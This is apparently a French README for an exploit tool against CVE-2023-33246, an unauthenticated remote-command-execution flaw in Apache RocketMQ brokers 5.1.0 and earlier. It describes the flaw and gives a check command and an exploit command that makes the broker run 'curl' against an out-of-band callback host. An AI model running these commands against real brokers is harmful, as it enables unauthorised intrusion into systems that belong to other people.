mkjos/cve-2023-33246_rocketmq_rce_expExploit pour CVE-2023-33246 ciblant les Apache RocketMQ brokers. Exécute des commandes arbitraires via une mise à jour de configuration non authentifiée ou des messages de protocole falsifiés sur les versions vulnérables 5.1.0 et inférieures.
CVE-2023-33246 Exploitation d'exécution de code à distance RocketMQ
Les versions 5.1.0 et inférieures de RocketMQ sont vulnérables à l'injection de code arbitraire. Le composant Broker de RocketMQ est exposé sur l'extranet et manque de vérification des permissions. Un attaquant peut exploiter cette vulnérabilité en utilisant la fonction de mise à jour de la configuration pour exécuter des commandes en tant qu'utilisateurs système sous lesquels RocketMQ s'exécute. De plus, un attaquant peut obtenir le même effet en falsifiant le contenu du protocole RocketMQ.
vérification
./RocketMQRceCheck -host 127.0.0.1 -port 9876
exploitation
RocketMQ_RCE_EXPLOIT 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test